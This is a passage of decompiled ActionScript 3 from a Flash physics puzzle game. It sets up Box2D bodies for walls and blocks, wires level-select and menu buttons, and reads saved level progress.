public var gro11_def;
public var dim45_cl:MovieClip;
public var dim11_cl:MovieClip;
public var dim28_sh;
public var locations:int;
public var kuda:int;
public var dim12_def;
public var dim57_def;
public var cre_cl:MovieClip;
public var dim9_def;
public var dim_cl:MovieClip;
public var dim6_sh;
public var dim23_def;
public var gro3_def;
public var dim63_sh;
public var gro5_cl:MovieClip;
public var dim57_cl:MovieClip;
public var dim23_cl:MovieClip;
public var dim34_def;
public var dim1_cl:MovieClip;
public var gro10_def;
public var dim41_sh;
public var dim45_def;
public var dim18_sh;
public var lev3_1:MovieClip;
public var lev3_2:MovieClip;
public var lev3_4:MovieClip;
public var gro15_sh;
public var dim11_def;
public var lev3_8:MovieClip;
public var lev3_3:MovieClip;
public var lev3_6:MovieClip;
public var lev3_7:MovieClip;
public var devil;
public var devil_sh;
public var dim8_def;
public var dim56_def;
public function MainTimeline(){
addFrameScript(0, frame1, 2, frame3, 3, frame4, 4, frame5, 14, frame15, 15, frame16, 17, frame18, 18, frame19, 19, frame20, 20, frame21, 21, frame22, 22, frame23, 23, frame24, 24, frame25, 25, frame26, 26, frame27, 27, frame28, 28, frame29, 29, frame30, 30, frame31, 31, frame32, 32, frame33, 33, frame34, 34, frame35, 35, frame36, 36, frame37, 37, frame38, 38, frame39, 39, frame40, 40, frame41, 41, frame42, 42, frame43, 43, frame44);
}
public function pirate_f(_arg1:Event){
if (pirate.currentFrame == 95){
stage.removeEventListener(MouseEvent.CLICK, more_games);
removeEventListener(Event.ENTER_FRAME, pirate_f);
gotoAndStop("vabor");
};
}
public function back_bt_f(_arg1:MouseEvent){
back_bt.removeEventListener(MouseEvent.CLICK, back_bt_f);
gotoAndStop("mem");
}
public function cl_f2(_arg1:MouseEvent){
}
public function sound_again(_arg1:Event):void{
var _local2:Sound;
var _local3:SoundChannel;
_local2 = new muz();
_local3 = _local2.play();
_local3.addEventListener(Event.SOUND_COMPLETE, sound_again);
}
public function credits_bt_f(_arg1:MouseEvent){
if (cre_cl.visible == false){
stage.addEventListener(MouseEvent.MOUSE_UP, credits_bt_f2);
cre_cl.visible = true;
} else {
cre_cl.visible = false;
stage.removeEventListener(MouseEvent.MOUSE_UP, credits_bt_f2);
};
}
public function dev2_nav_f(_arg1:MouseEvent){
dev2.gotoAndStop(1);
}
function frame16(){
addEventListener(Event.ENTER_FRAME, pirate_f);
stage.addEventListener(MouseEvent.CLICK, more_games);
}
function frame24(){
cel = 4;
kol_cel = cel;
kol_hero = 1;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 80;
pos_hero_y = 92;
i = 1;
while (i <= 2) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 4;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
gro13 = new b2BodyDef();
gro13.position.Set((gro13_cl.x / 30), (gro13_cl.y / 30));
gro13.userData = gro13_cl;
gro13_sh = new b2PolygonDef();
gro13_sh.SetAsBox(((gro13_cl.width / 2) / 30), ((gro13_cl.height / 2) / 30));
gro13_def = world.CreateBody(gro13);
gro13_def.CreateShape(gro13_sh);
gro13_def.SetMassFromShapes();
gro13_sh.density = 1;
gro14 = new b2BodyDef();
gro14.position.Set((gro14_cl.x / 30), (gro14_cl.y / 30));
gro14.userData = gro14_cl;
gro14_sh = new b2PolygonDef();
gro14_sh.SetAsBox(((gro14_cl.width / 2) / 30), ((gro14_cl.height / 2) / 30));
gro14_def = world.CreateBody(gro14);
gro14_def.CreateShape(gro14_sh);
gro14_def.SetMassFromShapes();
gro14_sh.density = 1;
i = 1;
while (i <= 14) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame15(){
}
public function lev3_7_f(_arg1:MouseEvent){
gotoAndStop("loc23");
}
function frame20(){
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
pomoc_cl.pomoc_bt.addEventListener(MouseEvent.CLICK, pomoc_bt_f2);
pomoc_cl.visible = false;
pomoc_cl2.pomoc_bt.addEventListener(MouseEvent.CLICK, pomoc2_bt_f2);
pomoc_cl2.visible = false;
pomoc_cl3.pomoc_bt.addEventListener(MouseEvent.CLICK, pomoc3_bt_f2);
pomoc_cl3.visible = false;
dev1.addEventListener(MouseEvent.CLICK, dev1_nav_f3);
dev2.addEventListener(MouseEvent.CLICK, dev2_nav_f3);
dev3.addEventListener(MouseEvent.CLICK, dev3_nav_f3);
dev1.addEventListener(MouseEvent.ROLL_OUT, dev1_nav_f);
dev1.addEventListener(MouseEvent.ROLL_OVER, dev1_nav_f2);
dev2.addEventListener(MouseEvent.ROLL_OUT, dev2_nav_f);
dev2.addEventListener(MouseEvent.ROLL_OVER, dev2_nav_f2);
dev3.addEventListener(MouseEvent.ROLL_OUT, dev3_nav_f);
dev3.addEventListener(MouseEvent.ROLL_OVER, dev3_nav_f2);
back_bt.addEventListener(MouseEvent.CLICK, back_bt_f);
lev1_1.addEventListener(MouseEvent.CLICK, lev1_1_f);
lev1_1.cifr.mouseEnabled = false;
lev1_2.cifr.mouseEnabled = false;
lev1_3.cifr.mouseEnabled = false;
lev1_4.cifr.mouseEnabled = false;
lev1_5.cifr.mouseEnabled = false;
lev1_6.cifr.mouseEnabled = false;
lev1_7.cifr.mouseEnabled = false;
lev1_8.cifr.mouseEnabled = false;
lev2_1.addEventListener(MouseEvent.CLICK, lev2_1_f);
lev2_1.cifr.mouseEnabled = false;
lev2_2.cifr.mouseEnabled = false;
lev2_3.cifr.mouseEnabled = false;
lev2_4.cifr.mouseEnabled = false;
lev2_5.cifr.mouseEnabled = false;
lev2_6.cifr.mouseEnabled = false;
lev2_7.cifr.mouseEnabled = false;
lev2_8.cifr.mouseEnabled = false;
lev3_1.addEventListener(MouseEvent.CLICK, lev3_1_f);
lev3_1.cifr.mouseEnabled = false;
lev3_2.cifr.mouseEnabled = false;
lev3_3.cifr.mouseEnabled = false;
lev3_4.cifr.mouseEnabled = false;
lev3_5.cifr.mouseEnabled = false;
lev3_6.cifr.mouseEnabled = false;
lev3_7.cifr.mouseEnabled = false;
lev3_8.cifr.mouseEnabled = false;
i = 1;
while (i < 9) {
this[("lev1_" + i)].cifr.gotoAndStop(9);
i++;
};
i = 1;
while (i < 9) {
this[("lev2_" + i)].cifr.gotoAndStop(9);
i++;
};
i = 1;
while (i < 9) {
this[("lev3_" + i)].cifr.gotoAndStop(9);
i++;
};
lev1_1.cifr.gotoAndStop(1);
lev2_1.cifr.gotoAndStop(1);
lev3_1.cifr.gotoAndStop(1);
if (sav.data.loc1_2 == 1){
lev1_2.addEventListener(MouseEvent.CLICK, lev1_2_f);
lev1_2.cifr.gotoAndStop(2);
};
if (sav.data.loc1_3 == 1){
lev1_3.addEventListener(MouseEvent.CLICK, lev1_3_f);
lev1_3.cifr.gotoAndStop(3);
};
if (sav.data.loc1_4 == 1){
lev1_4.addEventListener(MouseEvent.CLICK, lev1_4_f);
lev1_4.cifr.gotoAndStop(4);
};
if (sav.data.loc1_5 == 1){
lev1_5.addEventListener(MouseEvent.CLICK, lev1_5_f);
lev1_5.cifr.gotoAndStop(5);
};
if (sav.data.loc1_6 == 1){
lev1_6.addEventListener(MouseEvent.CLICK, lev1_6_f);
lev1_6.cifr.gotoAndStop(6);
};
if (sav.data.loc1_7 == 1){
lev1_7.addEventListener(MouseEvent.CLICK, lev1_7_f);
lev1_7.cifr.gotoAndStop(7);
};
if (sav.data.loc1_8 == 1){
lev1_8.addEventListener(MouseEvent.CLICK, lev1_8_f);
lev1_8.cifr.gotoAndStop(8);
};
if (sav.data.loc2_2 == 1){
lev2_2.addEventListener(MouseEvent.CLICK, lev2_2_f);
lev2_2.cifr.gotoAndStop(2);
};
if (sav.data.loc2_3 == 1){
lev2_3.addEventListener(MouseEvent.CLICK, lev2_3_f);
lev2_3.cifr.gotoAndStop(3);
};
if (sav.data.loc2_4 == 1){
lev2_4.addEventListener(MouseEvent.CLICK, lev2_4_f);
lev2_4.cifr.gotoAndStop(4);
};
if (sav.data.loc2_5 == 1){
lev2_5.addEventListener(MouseEvent.CLICK, lev2_5_f);
lev2_5.cifr.gotoAndStop(5);
};
if (sav.data.loc2_6 == 1){
lev2_6.addEventListener(MouseEvent.CLICK, lev2_6_f);
lev2_6.cifr.gotoAndStop(6);
};
if (sav.data.loc2_7 == 1){
lev2_7.addEventListener(MouseEvent.CLICK, lev2_7_f);
lev2_7.cifr.gotoAndStop(7);
};
if (sav.data.loc2_8 == 1){
lev2_8.addEventListener(MouseEvent.CLICK, lev2_8_f);
lev2_8.cifr.gotoAndStop(8);
};
if (sav.data.loc3_2 == 1){
lev3_2.addEventListener(MouseEvent.CLICK, lev3_2_f);
lev3_2.cifr.gotoAndStop(2);
};
if (sav.data.loc3_3 == 1){
lev3_3.addEventListener(MouseEvent.CLICK, lev3_3_f);
lev3_3.cifr.gotoAndStop(3);
};
if (sav.data.loc3_4 == 1){
lev3_4.addEventListener(MouseEvent.CLICK, lev3_4_f);
lev3_4.cifr.gotoAndStop(4);
};
if (sav.data.loc3_5 == 1){
lev3_5.addEventListener(MouseEvent.CLICK, lev3_5_f);
lev3_5.cifr.gotoAndStop(5);
};
if (sav.data.loc3_6 == 1){
lev3_6.addEventListener(MouseEvent.CLICK, lev3_6_f);
lev3_6.cifr.gotoAndStop(6);
};
if (sav.data.loc3_7 == 1){
lev3_7.addEventListener(MouseEvent.CLICK, lev3_7_f);
lev3_7.cifr.gotoAndStop(7);
};
if (sav.data.loc3_8 == 1){
lev3_8.addEventListener(MouseEvent.CLICK, lev3_8_f);
lev3_8.cifr.gotoAndStop(8);
};
if (sav.data.loc1_1_kak == 1){
lev1_1.gotoAndStop(2);
};
if (sav.data.loc1_1_kak == 2){
lev1_1.gotoAndStop(3);
};
if (sav.data.loc1_1_kak == 3){
lev1_1.gotoAndStop(4);
};
if (sav.data.loc1_2_kak == 1){
lev1_2.gotoAndStop(2);
};
if (sav.data.loc1_2_kak == 2){
lev1_2.gotoAndStop(3);
};
if (sav.data.loc1_2_kak == 3){
lev1_2.gotoAndStop(4);
};
if (sav.data.loc1_3_kak == 1){
lev1_3.gotoAndStop(2);
};
if (sav.data.loc1_3_kak == 2){
lev1_3.gotoAndStop(3);
};
if (sav.data.loc1_3_kak == 3){
lev1_3.gotoAndStop(4);
};
if (sav.data.loc1_4_kak == 1){
lev1_4.gotoAndStop(2);
};
if (sav.data.loc1_4_kak == 2){
lev1_4.gotoAndStop(3);
};
if (sav.data.loc1_4_kak == 3){
lev1_4.gotoAndStop(4);
};
if (sav.data.loc1_5_kak == 1){
lev1_5.gotoAndStop(2);
};
if (sav.data.loc1_5_kak == 2){
lev1_5.gotoAndStop(3);
};
if (sav.data.loc1_5_kak == 3){
lev1_5.gotoAndStop(4);
};
if (sav.data.loc1_6_kak == 1){
lev1_6.gotoAndStop(2);
};
if (sav.data.loc1_6_kak == 2){
lev1_6.gotoAndStop(3);
};
if (sav.data.loc1_6_kak == 3){
lev1_6.gotoAndStop(4);
};
if (sav.data.loc1_7_kak == 1){
lev1_7.gotoAndStop(2);
};
if (sav.data.loc1_7_kak == 2){
lev1_7.gotoAndStop(3);
};
if (sav.data.loc1_7_kak == 3){
lev1_7.gotoAndStop(4);
};
if (sav.data.loc1_8_kak == 1){
lev1_8.gotoAndStop(2);
};
if (sav.data.loc1_8_kak == 2){
lev1_8.gotoAndStop(3);
};
if (sav.data.loc1_8_kak == 3){
lev1_8.gotoAndStop(4);
};
if (sav.data.loc2_1_kak == 1){
lev2_1.gotoAndStop(2);
};
if (sav.data.loc2_1_kak == 2){
lev2_1.gotoAndStop(3);
};
if (sav.data.loc2_1_kak == 3){
lev2_1.gotoAndStop(4);
};
if (sav.data.loc2_2_kak == 1){
lev2_2.gotoAndStop(2);
};
if (sav.data.loc2_2_kak == 2){
lev2_2.gotoAndStop(3);
};
if (sav.data.loc2_2_kak == 3){
lev2_2.gotoAndStop(4);
};
if (sav.data.loc2_3_kak == 1){
lev2_3.gotoAndStop(2);
};
if (sav.data.loc2_3_kak == 2){
lev2_3.gotoAndStop(3);
};
if (sav.data.loc2_3_kak == 3){
lev2_3.gotoAndStop(4);
};
if (sav.data.loc2_4_kak == 1){
lev2_4.gotoAndStop(2);
};
if (sav.data.loc2_4_kak == 2){
lev2_4.gotoAndStop(3);
};
if (sav.data.loc2_4_kak == 3){
lev2_4.gotoAndStop(4);
};
if (sav.data.loc2_5_kak == 1){
lev2_5.gotoAndStop(2);
};
if (sav.data.loc2_5_kak == 2){
lev2_5.gotoAndStop(3);
};
if (sav.data.loc2_5_kak == 3){
lev2_5.gotoAndStop(4);
};
if (sav.data.loc2_6_kak == 1){
lev2_6.gotoAndStop(2);
};
if (sav.data.loc2_6_kak == 2){
lev2_6.gotoAndStop(3);
};
if (sav.data.loc2_6_kak == 3){
lev2_6.gotoAndStop(4);
};
if (sav.data.loc2_7_kak == 1){
lev2_7.gotoAndStop(2);
};
if (sav.data.loc2_7_kak == 2){
lev2_7.gotoAndStop(3);
};
if (sav.data.loc2_7_kak == 3){
lev2_7.gotoAndStop(4);
};
if (sav.data.loc2_8_kak == 1){
lev2_8.gotoAndStop(2);
};
if (sav.data.loc2_8_kak == 2){
lev2_8.gotoAndStop(3);
};
if (sav.data.loc2_8_kak == 3){
lev2_8.gotoAndStop(4);
};
if (sav.data.loc3_1_kak == 1){
lev3_1.gotoAndStop(2);
};
if (sav.data.loc3_1_kak == 2){
lev3_1.gotoAndStop(3);
};
if (sav.data.loc3_1_kak == 3){
lev3_1.gotoAndStop(4);
};
if (sav.data.loc3_2_kak == 1){
lev3_2.gotoAndStop(2);
};
if (sav.data.loc3_2_kak == 2){
lev3_2.gotoAndStop(3);
};
if (sav.data.loc3_2_kak == 3){
lev3_2.gotoAndStop(4);
};
if (sav.data.loc3_3_kak == 1){
lev3_3.gotoAndStop(2);
};
if (sav.data.loc3_3_kak == 2){
lev3_3.gotoAndStop(3);
};
if (sav.data.loc3_3_kak == 3){
lev3_3.gotoAndStop(4);
};
if (sav.data.loc3_4_kak == 1){
lev3_4.gotoAndStop(2);
};
if (sav.data.loc3_4_kak == 2){
lev3_4.gotoAndStop(3);
};
if (sav.data.loc3_4_kak == 3){
lev3_4.gotoAndStop(4);
};
if (sav.data.loc3_5_kak == 1){
lev3_5.gotoAndStop(2);
};
if (sav.data.loc3_5_kak == 2){
lev3_5.gotoAndStop(3);
};
if (sav.data.loc3_5_kak == 3){
lev3_5.gotoAndStop(4);
};
if (sav.data.loc3_6_kak == 1){
lev3_6.gotoAndStop(2);
};
if (sav.data.loc3_6_kak == 2){
lev3_6.gotoAndStop(3);
};
if (sav.data.loc3_6_kak == 3){
lev3_6.gotoAndStop(4);
};
if (sav.data.loc3_7_kak == 1){
lev3_7.gotoAndStop(2);
};
if (sav.data.loc3_7_kak == 2){
lev3_7.gotoAndStop(3);
};
if (sav.data.loc3_7_kak == 3){
lev3_7.gotoAndStop(4);
};
if (sav.data.loc3_8_kak == 1){
lev3_8.gotoAndStop(2);
};
if (sav.data.loc3_8_kak == 2){
lev3_8.gotoAndStop(3);
};
if (sav.data.loc3_8_kak == 3){
lev3_8.gotoAndStop(4);
};
}
function frame21(){
cel = 3;
kol_cel = cel;
kol_hero = 3;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 84;
pos_hero_y = 388;
i = 1;
while (i <= 11) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
mas_balka_giz[3] = 2000;
locations = 1;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
i = 1;
while (i <= 7) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 15;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 5;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 15;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 15;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 15;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 15;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 15;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
if (sav.data.obuc_per == 97){
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, game_f2);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
obuc_cl.gotoAndStop(3);
} else {
addEventListener(Event.ENTER_FRAME, obuc_ang);
obuc_cl.next_bt.addEventListener(MouseEvent.CLICK, obuc_f);
